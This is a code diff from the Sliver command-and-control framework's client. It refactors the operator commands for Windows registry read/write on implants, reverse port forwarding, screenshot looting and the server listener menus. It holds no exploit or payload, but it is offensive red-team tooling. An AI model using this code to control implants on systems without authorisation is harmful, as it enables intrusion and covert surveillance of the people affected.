- List registry values. +func RegListValuesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -104,12 +106,12 @@ func RegListValuesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if regList.Response != nil && regList.Response.Async { - con.AddBeaconCallback(regList.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(regList.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, regList) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -117,14 +119,13 @@ func RegListValuesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } PrintListValues(regList, hive, regPath, con) }) - con.PrintAsyncResponse(regList.Response) } else { PrintListValues(regList, hive, regPath, con) } } -// PrintListValues - Print the registry list values -func PrintListValues(regList *sliverpb.RegistryValuesList, hive string, regPath string, con *console.SliverConsoleClient) { +// PrintListValues - Print the registry list values. +func PrintListValues(regList *sliverpb.RegistryValuesList, hive string, regPath string, con *console.SliverClient) { if regList.Response != nil && regList.Response.Err != "" { con.PrintErrorf("%s\n", regList.Response.Err) return diff --git a/client/command/registry/reg-read.go b/client/command/registry/reg-read.go index 62df3b7117..d06f81f15f 100644 --- a/client/command/registry/reg-read.go +++ b/client/command/registry/reg-read.go @@ -23,9 +23,8 @@ import ( "fmt" "strings" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" @@ -74,8 +73,8 @@ func getType(t string) (uint32, error) { return res, nil } -// RegReadCmd - Read a windows registry key: registry read --hostname aa.bc.local --hive HKCU "software\google\chrome\blbeacon\version" -func RegReadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// RegReadCmd - Read a windows registry key: registry read --hostname aa.bc.local --hive HKCU "software\google\chrome\blbeacon\version". +func RegReadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var ( finalPath string key string @@ -84,7 +83,11 @@ func RegReadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str if session == nil && beacon == nil { return } - targetOS := getOS(session, beacon) + targetOS, err := getOS(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } if targetOS != "windows" { con.PrintErrorf("Registry operations can only target Windows\n") return @@ -126,12 +129,12 @@ func RegReadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if regRead.Response != nil && regRead.Response.Async { - con.AddBeaconCallback(regRead.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(regRead.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, regRead) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -139,14 +142,13 @@ func RegReadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str } PrintRegRead(regRead, con) }) - con.PrintAsyncResponse(regRead.Response) } else { PrintRegRead(regRead, con) } } -// PrintRegRead - Print the results of the registry read command -func PrintRegRead(regRead *sliverpb.RegistryRead, con *console.SliverConsoleClient) { +// PrintRegRead - Print the results of the registry read command. +func PrintRegRead(regRead *sliverpb.RegistryRead, con *console.SliverClient) { if regRead.Response != nil && regRead.Response.Err != "" { con.PrintErrorf("%s\n", regRead.Response.Err) return diff --git a/client/command/registry/reg-write.go b/client/command/registry/reg-write.go index e477b5682e..0973c599a7 100644 --- a/client/command/registry/reg-write.go +++ b/client/command/registry/reg-write.go @@ -25,22 +25,25 @@ import ( "strconv" "strings" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// RegWriteCmd - Write to a Windows registry key: registry write --hive HKCU --type dword "software\google\chrome\blbeacon\hello" 32 -func RegWriteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// RegWriteCmd - Write to a Windows registry key: registry write --hive HKCU --type dword "software\google\chrome\blbeacon\hello" 32. +func RegWriteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return } - targetOS := getOS(session, beacon) + targetOS, err := getOS(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } if targetOS != "windows" { con.PrintErrorf("Registry operations can only target Windows\n") return @@ -140,12 +143,12 @@ func RegWriteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st ByteValue: binaryValue, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if regWrite.Response != nil && regWrite.Response.Async { - con.AddBeaconCallback(regWrite.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(regWrite.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, regWrite) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -153,14 +156,13 @@ func RegWriteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } PrintRegWrite(regWrite, con) }) - con.PrintAsyncResponse(regWrite.Response) } else { PrintRegWrite(regWrite, con) } } -// PrintRegWrite - Print the registry write operation -func PrintRegWrite(regWrite *sliverpb.RegistryWrite, con *console.SliverConsoleClient) { +// PrintRegWrite - Print the registry write operation. +func PrintRegWrite(regWrite *sliverpb.RegistryWrite, con *console.SliverClient) { if regWrite.Response != nil && regWrite.Response.Err != "" { con.PrintErrorf("%s", regWrite.Response.Err) return diff --git a/client/command/rportfwd/commands.go b/client/command/rportfwd/commands.go new file mode 100644 index 0000000000..fbe3ae52ac --- /dev/null +++ b/client/command/rportfwd/commands.go @@ -0,0 +1,63 @@ +package rportfwd + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + rportfwdCmd := &cobra.Command{ + Use: consts.RportfwdStr, + Short: "reverse port forwardings", + Long: help.GetHelpFor([]string{consts.RportfwdStr}), + GroupID: consts.NetworkHelpGroup, + Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + RportFwdListenersCmd(cmd, con, args) + }, + } + flags.Bind("", true, rportfwdCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + rportfwdAddCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Add and start reverse port forwarding", + Long: help.GetHelpFor([]string{consts.RportfwdStr}), + Run: func(cmd *cobra.Command, args []string) { + StartRportFwdListenerCmd(cmd, con, args) + }, + } + rportfwdCmd.AddCommand(rportfwdAddCmd) + flags.Bind("", false, rportfwdAddCmd, func(f *pflag.FlagSet) { + f.StringP("remote", "r", "", "remote address : connection is forwarded to") + f.StringP("bind", "b", "", "bind address : for implants to listen on") + }) + completers.NewFlagCompsFor(rportfwdAddCmd, func(comp *carapace.ActionMap) { + (*comp)["remote"] = completers.ClientInterfacesCompleter() + }) + + rportfwdRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Stop and remove reverse port forwarding", + Long: help.GetHelpFor([]string{consts.RportfwdStr}), + Args: cobra.MinimumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + StopRportFwdListenerCmd(cmd, con, args) + }, + } + rmComps := completers.NewCompsFor(rportfwdRmCmd) + rmComps.PositionalAnyCompletion(PortfwdIDCompleter(con).Usage("ID of portforwarder(s) to remove")) + + rportfwdCmd.AddCommand(rportfwdRmCmd) + + return []*cobra.Command{rportfwdCmd} +} diff --git a/client/command/rportfwd/portfwd-add.go b/client/command/rportfwd/portfwd-add.go index 55d8b00119..7b92dacb30 100644 --- a/client/command/rportfwd/portfwd-add.go +++ b/client/command/rportfwd/portfwd-add.go @@ -31,8 +31,8 @@ import ( var portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$") -// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant -func StartRportFwdListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant. +func StartRportFwdListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -60,13 +60,15 @@ func StartRportFwdListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClie ForwardAddress: forwardAddress, }) if err != nil { - con.PrintWarnf("%s\n", err) + con.PrintWarnf("%s\n", con.UnwrapServerErr(err)) return } printStartedRportFwdListener(rportfwdListener, con) + + con.WaitSignal() } -func printStartedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) { +func printStartedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverClient) { if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" { con.PrintErrorf("%s", rportfwdListener.Response.Err) return diff --git a/client/command/rportfwd/portfwd-rm.go b/client/command/rportfwd/portfwd-rm.go index 0d10f9b706..917e46907f 100644 --- a/client/command/rportfwd/portfwd-rm.go +++ b/client/command/rportfwd/portfwd-rm.go @@ -20,6 +20,7 @@ package rportfwd import ( "context" + "strconv" "github.com/spf13/cobra" @@ -27,26 +28,38 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant -func StopRportFwdListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant. +func StopRportFwdListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return } - listenerID, _ := cmd.Flags().GetUint32("id") - rportfwdListener, err := con.Rpc.StopRportFwdListener(context.Background(), &sliverpb.RportFwdStopListenerReq{ - Request: con.ActiveTarget.Request(cmd), - ID: listenerID, - }) - if err != nil { - con.PrintWarnf("%s\n", err) - return + for _, arg := range args { + listenerID, err := strconv.ParseUint(arg, 10, 32) + if err != nil { + con.PrintErrorf("Failed to parse portfwd id: %s\n", err) + } + + if listenerID < 1 { + con.PrintErrorf("Must specify a valid portfwd id\n") + return + } + + rportfwdListener, err := con.Rpc.StopRportFwdListener(context.Background(), &sliverpb.RportFwdStopListenerReq{ + Request: con.ActiveTarget.Request(cmd), + ID: uint32(listenerID), + }) + if err != nil { + con.PrintWarnf("%s\n", con.UnwrapServerErr(err)) + return + } + + printStoppedRportFwdListener(rportfwdListener, con) } - printStoppedRportFwdListener(rportfwdListener, con) } -func printStoppedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) { +func printStoppedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverClient) { if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" { con.PrintErrorf("%s", rportfwdListener.Response.Err) return diff --git a/client/command/rportfwd/portfwd.go b/client/command/rportfwd/portfwd.go index 0afcdc7605..4e96935875 100644 --- a/client/command/rportfwd/portfwd.go +++ b/client/command/rportfwd/portfwd.go @@ -33,8 +33,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant -func RportFwdListenersCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant. +func RportFwdListenersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -44,13 +44,13 @@ func RportFwdListenersCmd(cmd *cobra.Command, con *console.SliverConsoleClient, Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintWarnf("%s\n", err) + con.PrintWarnf("%s\n", con.UnwrapServerErr(err)) return } PrintRportFwdListeners(rportfwdListeners, cmd.Flags(), con) } -func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags *pflag.FlagSet, con *console.SliverConsoleClient) { +func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags *pflag.FlagSet, con *console.SliverClient) { if rportfwdListeners.Response != nil && rportfwdListeners.Response.Err != "" { con.PrintErrorf("%s\n", rportfwdListeners.Response.Err) return @@ -63,6 +63,7 @@ func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Remote Address", @@ -78,9 +79,13 @@ func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags con.Printf("%s\n", tw.Render()) } -// PortfwdIDCompleter completes IDs of remote portforwarders -func PortfwdIDCompleter(con *console.SliverConsoleClient) carapace.Action { - callback := func(_ carapace.Context) carapace.Action { +// PortfwdIDCompleter completes IDs of remote portforwarders. +func PortfwdIDCompleter(con *console.SliverClient) carapace.Action { + callback := func(c carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + results := make([]string, 0) rportfwdListeners, err := con.Rpc.GetRportFwdListeners(context.Background(), &sliverpb.RportFwdListenersReq{ @@ -101,7 +106,9 @@ func PortfwdIDCompleter(con *console.SliverConsoleClient) carapace.Action { return carapace.ActionMessage("no remote port forwarders") } - return carapace.ActionValuesDescribed(results...).Tag("remote port forwarders") + comps := carapace.ActionValuesDescribed(results...).Tag("remote port forwarders") + + return comps.Invoke(c).Filter(c.Args).ToA() } return carapace.ActionCallback(callback) diff --git a/client/command/screenshot/commands.go b/client/command/screenshot/commands.go new file mode 100644 index 0000000000..d97b4e8725 --- /dev/null +++ b/client/command/screenshot/commands.go @@ -0,0 +1,38 @@ +package screenshot + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + screenshotCmd := &cobra.Command{ + Use: consts.ScreenshotStr, + Short: "Take a screenshot", + Long: help.GetHelpFor([]string{consts.ScreenshotStr}), + Run: func(cmd *cobra.Command, args []string) { + ScreenshotCmd(cmd, con, args) + }, + GroupID: consts.InfoHelpGroup, + } + flags.Bind("", false, screenshotCmd, func(f *pflag.FlagSet) { + f.StringP("save", "s", "", "save to file (will overwrite if exists)") + f.BoolP("loot", "X", false, "save output as loot") + f.StringP("name", "n", "", "name to assign loot (optional)") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + completers.NewFlagCompsFor(screenshotCmd, func(comp *carapace.ActionMap) { + (*comp)["save"] = carapace.ActionFiles() + }) + + return []*cobra.Command{screenshotCmd} +} diff --git a/client/command/screenshot/screenshot.go b/client/command/screenshot/screenshot.go index f15a884a41..baea1271e9 100644 --- a/client/command/screenshot/screenshot.go +++ b/client/command/screenshot/screenshot.go @@ -20,15 +20,15 @@ package screenshot import ( "context" + "errors" "fmt" "io/ioutil" "os" "path/filepath" "time" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/command/loot" "github.com/bishopfox/sliver/client/console" @@ -37,14 +37,18 @@ import ( "github.com/bishopfox/sliver/util" ) -// ScreenshotCmd - Take a screenshot of the remote system -func ScreenshotCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ScreenshotCmd - Take a screenshot of the remote system. +func ScreenshotCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return } - targetOS := getOS(session, beacon) + targetOS, err := getOS(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } if targetOS != "windows" && targetOS != "linux" { con.PrintWarnf("Target platform may not support screenshots!\n") return @@ -54,7 +58,7 @@ func ScreenshotCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } @@ -62,9 +66,13 @@ func ScreenshotCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] lootName, _ := cmd.Flags().GetString("name") saveTo, _ := cmd.Flags().GetString("save") - hostname := getHostname(session, beacon) + hostname, err := getHostname(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } if screenshot.Response != nil && screenshot.Response.Async { - con.AddBeaconCallback(screenshot.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(screenshot.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, screenshot) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -82,7 +90,6 @@ func ScreenshotCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] PrintScreenshot(screenshot, hostname, cmd, con) } }) - con.PrintAsyncResponse(screenshot.Response) } else { if saveLoot { if len(screenshot.Data) > 0 { @@ -98,8 +105,8 @@ func ScreenshotCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] } } -// PrintScreenshot - Handle the screenshot command response -func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, cmd *cobra.Command, con *console.SliverConsoleClient) { +// PrintScreenshot - Handle the screenshot command response. +func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, cmd *cobra.Command, con *console.SliverClient) { timestamp := time.Now().Format("20060102150405") saveTo, _ := cmd.Flags().GetString("save") @@ -130,7 +137,7 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, cmd *cobr con.PrintInfof("Screenshot written to %s (%s)\n", saveToFile.Name(), util.ByteCountBinary(int64(n))) } -func LootScreenshot(screenshot *sliverpb.Screenshot, lootName string, hostName string, con *console.SliverConsoleClient) { +func LootScreenshot(screenshot *sliverpb.Screenshot, lootName string, hostName string, con *console.SliverClient) { timeNow := time.Now().UTC() screenshotFileName := fmt.Sprintf("screenshot_%s_%s.png", hostName, timeNow.Format("20060102150405")) @@ -142,22 +149,23 @@ func LootScreenshot(screenshot *sliverpb.Screenshot, lootName string, hostName s loot.SendLootMessage(lootMessage, con) } -func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string { +func getOS(session *clientpb.Session, beacon *clientpb.Beacon) (string, error) { if session != nil { - return session.OS + return session.OS, nil } if beacon != nil { - return beacon.OS + return beacon.OS, nil } - panic("no session or beacon") + + return "", errors.New("no session or beacon") } -func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string { +func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) (string, error) { if session != nil { - return session.Hostname + return session.Hostname, nil } if beacon != nil { - return beacon.Hostname + return beacon.Hostname, nil } - panic("no session or beacon") + return "", errors.New("no session or beacon") } diff --git a/client/command/server.go b/client/command/server.go index 45e852418d..46a092687c 100644 --- a/client/command/server.go +++ b/client/command/server.go @@ -19,13 +19,9 @@ package command */ import ( - "os" + "github.com/spf13/cobra" "github.com/reeflective/console" - "github.com/reeflective/console/commands/readline" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" "github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/armory" @@ -33,1777 +29,222 @@ import ( "github.com/bishopfox/sliver/client/command/builders" "github.com/bishopfox/sliver/client/command/crack" "github.com/bishopfox/sliver/client/command/creds" + "github.com/bishopfox/sliver/client/command/dns" "github.com/bishopfox/sliver/client/command/exit" "github.com/bishopfox/sliver/client/command/generate" - "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/command/hosts" + "github.com/bishopfox/sliver/client/command/http" + "github.com/bishopfox/sliver/client/command/https" "github.com/bishopfox/sliver/client/command/info" "github.com/bishopfox/sliver/client/command/jobs" + "github.com/bishopfox/sliver/client/command/licenses" "github.com/bishopfox/sliver/client/command/loot" "github.com/bishopfox/sliver/client/command/monitor" - "github.com/bishopfox/sliver/client/command/operators" + "github.com/bishopfox/sliver/client/command/mtls" operator "github.com/bishopfox/sliver/client/command/prelude-operator" "github.com/bishopfox/sliver/client/command/reaction" "github.com/bishopfox/sliver/client/command/sessions" "github.com/bishopfox/sliver/client/command/settings" sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai" "github.com/bishopfox/sliver/client/command/taskmany" + "github.com/bishopfox/sliver/client/command/tcp" + "github.com/bishopfox/sliver/client/command/transports" "github.com/bishopfox/sliver/client/command/update" "github.com/bishopfox/sliver/client/command/use" "github.com/bishopfox/sliver/client/command/websites" "github.com/bishopfox/sliver/client/command/wireguard" client "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/bishopfox/sliver/client/licenses" ) +// ***** Command Generators and Runner Binders ****** + // ServerCommands returns all commands bound to the server menu, optionally // accepting a function returning a list of additional (admin) commands. -func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.Command) console.Commands { +func ServerCommands(con *client.SliverClient, serverCmds SliverBinder) console.Commands { serverCommands := func() *cobra.Command { server := &cobra.Command{ - Short: "Server commands", + Short: "Server commands", + TraverseChildren: true, + SilenceUsage: true, CompletionOptions: cobra.CompletionOptions{ HiddenDefaultCmd: true, }, } - // Load Reactions - n, err := reaction.LoadReactions() - if err != nil && !os.IsNotExist(err) { - con.PrintErrorf("Failed to load reactions: %s\n", err) - } else if n > 0 { - con.PrintInfof("Loaded %d reaction(s) from disk\n", n) - } - - // [ Groups ] ---------------------------------------------- - groups := []*cobra.Group{ - {ID: consts.GenericHelpGroup, Title: consts.GenericHelpGroup}, - {ID: consts.NetworkHelpGroup, Title: consts.NetworkHelpGroup}, - {ID: consts.PayloadsHelpGroup, Title: consts.PayloadsHelpGroup}, - {ID: consts.SliverHelpGroup, Title: consts.SliverHelpGroup}, - } - server.AddGroup(groups...) - - // [ Exit ] --------------------------------------------------------------- - exitCmd := &cobra.Command{ - Use: "exit", - Short: "Exit the program", - Run: func(cmd *cobra.Command, args []string) { - exit.ExitCmd(cmd, con, args) - }, - GroupID: consts.GenericHelpGroup, - } - server.AddCommand(exitCmd) - - // [ Aliases ] --------------------------------------------- - - aliasCmd := &cobra.Command{ - Use: consts.AliasesStr, - Short: "List current aliases", - Long: help.GetHelpFor([]string{consts.AliasesStr}), - Run: func(cmd *cobra.Command, args []string) { - alias.AliasesCmd(cmd, con, args) - }, - GroupID: consts.GenericHelpGroup, - } - server.AddCommand(aliasCmd) - - aliasLoadCmd := &cobra.Command{ - Use: consts.LoadStr + " [ALIAS]", - Short: "Load a command alias", - Long: help.GetHelpFor([]string{consts.AliasesStr, consts.LoadStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - alias.AliasesLoadCmd(cmd, con, args) - }, - } - carapace.Gen(aliasLoadCmd).PositionalCompletion( - carapace.ActionDirectories().Tag("alias directory").Usage("path to the alias directory")) - aliasCmd.AddCommand(aliasLoadCmd) - - aliasInstallCmd := &cobra.Command{ - Use: consts.InstallStr + " [ALIAS]", - Short: "Install a command alias", - Long: help.GetHelpFor([]string{consts.AliasesStr, consts.InstallStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - alias.AliasesInstallCmd(cmd, con, args) - }, - } - carapace.Gen(aliasInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("alias file")) - aliasCmd.AddCommand(aliasInstallCmd) - - aliasRemove := &cobra.Command{ - Use: consts.RmStr + " [ALIAS]", - Short: "Remove an alias", - Long: help.GetHelpFor([]string{consts.RmStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - alias.AliasesRemoveCmd(cmd, con, args) - }, - } - carapace.Gen(aliasRemove).PositionalCompletion(alias.AliasCompleter()) - aliasCmd.AddCommand(aliasRemove) - - // [ Armory ] --------------------------------------------- - - armoryCmd := &cobra.Command{ - Use: consts.ArmoryStr, - Short: "Automatically download and install extensions/aliases", - Long: help.GetHelpFor([]string{consts.ArmoryStr}), - Run: func(cmd *cobra.Command, args []string) { - armory.ArmoryCmd(cmd, con, args) - }, - GroupID: consts.GenericHelpGroup, - } - Flags("armory", true, armoryCmd, func(f *pflag.FlagSet) { - f.BoolP("insecure", "I", false, "skip tls certificate validation") - f.StringP("proxy", "p", "", "specify a proxy url (e.g. http://localhost:8080)") - f.BoolP("ignore-cache", "c", false, "ignore metadata cache, force refresh") - f.StringP("timeout", "t", "15m", "download timeout") - }) - server.AddCommand(armoryCmd) - - armoryInstallCmd := &cobra.Command{ - Use: consts.InstallStr, - Short: "Install an alias or extension", - Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.InstallStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - armory.ArmoryInstallCmd(cmd, con, args) - }, - } - carapace.Gen(armoryInstallCmd).PositionalCompletion( - armory.AliasExtensionOrBundleCompleter().Usage("name of the extension or alias to install")) - armoryCmd.AddCommand(armoryInstallCmd) - - armoryUpdateCmd := &cobra.Command{ - Use: consts.UpdateStr, - Short: "Update installed an aliases and extensions", - Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.UpdateStr}), - Run: func(cmd *cobra.Command, args []string) { - armory.ArmoryUpdateCmd(cmd, con, args) - }, - } - armoryCmd.AddCommand(armoryUpdateCmd) - - armorySearchCmd := &cobra.Command{ - Use: consts.SearchStr, - Short: "Search for aliases and extensions by name (regex)", - Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.SearchStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - armory.ArmorySearchCmd(cmd, con, args) - }, - } - carapace.Gen(armorySearchCmd).PositionalCompletion(carapace.ActionValues().Usage("a name regular expression")) - armoryCmd.AddCommand(armorySearchCmd) - - // [ Update ] -------------------------------------------------------------- - - updateCmd := &cobra.Command{ - Use: consts.UpdateStr, - Short: "Check for updates", - Long: help.GetHelpFor([]string{consts.UpdateStr}), - Run: func(cmd *cobra.Command, args []string) { - update.UpdateCmd(cmd, con, args) - }, - GroupID: consts.GenericHelpGroup, - } - Flags("update", false, updateCmd, func(f *pflag.FlagSet) { - f.BoolP("prereleases", "P", false, "include pre-released (unstable) versions") - f.StringP("proxy", "p", "", "specify a proxy url (e.g. http://localhost:8080)") - f.StringP("save", "s", "", "save downloaded files to specific directory (default user home dir)") - f.BoolP("insecure", "I", false, "skip tls certificate validation") - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - server.AddCommand(updateCmd) - - versionCmd := &cobra.Command{ - Use: consts.VersionStr, - Short: "Display version information", - Long: help.GetHelpFor([]string{consts.VersionStr}), - Run: func(cmd *cobra.Command, args []string) { - update.VerboseVersionsCmd(cmd, con, args) - }, - GroupID: consts.GenericHelpGroup, - } - Flags("update", false, versionCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - server.AddCommand(versionCmd) - - // [ Jobs ] ----------------------------------------------------------------- + // Utility function to be used for binding new commands to + // the sliver menu: call the function with the name of the + // group under which this/these commands should be added, + // and the group will be automatically created if needed. + bind := makeBind(server, con) - jobsCmd := &cobra.Command{ - Use: consts.JobsStr, - Short: "Job control", - Long: help.GetHelpFor([]string{consts.JobsStr}), - Run: func(cmd *cobra.Command, args []string) { - jobs.JobsCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - Flags("jobs", true, jobsCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - Flags("jobs", false, jobsCmd, func(f *pflag.FlagSet) { - f.Int32P("kill", "k", -1, "kill a background job") - f.BoolP("kill-all", "K", false, "kill all jobs") - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - FlagComps(jobsCmd, func(comp *carapace.ActionMap) { - (*comp)["kill"] = jobs.JobsIDCompleter(con) - }) - server.AddCommand(jobsCmd) - - mtlsCmd := &cobra.Command{ - Use: consts.MtlsStr, - Short: "Start an mTLS listener", - Long: help.GetHelpFor([]string{consts.MtlsStr}), - Run: func(cmd *cobra.Command, args []string) { - jobs.MTLSListenerCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - Flags("mTLS listener", false, mtlsCmd, func(f *pflag.FlagSet) { - f.StringP("lhost", "L", "", "interface to bind server to") - f.Uint32P("lport", "l", generate.DefaultMTLSLPort, "tcp listen port") - f.BoolP("persistent", "p", false, "make persistent across restarts") - }) - server.AddCommand(mtlsCmd) - - wgCmd := &cobra.Command{ - Use: consts.WGStr, - Short: "Start a WireGuard listener", - Long: help.GetHelpFor([]string{consts.WGStr}), - Run: func(cmd *cobra.Command, args []string) { - jobs.WGListenerCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - Flags("WireGuard listener", false, wgCmd, func(f *pflag.FlagSet) { - f.StringP("lhost", "L", "", "interface to bind server to") - f.Uint32P("lport", "l", generate.DefaultWGLPort, 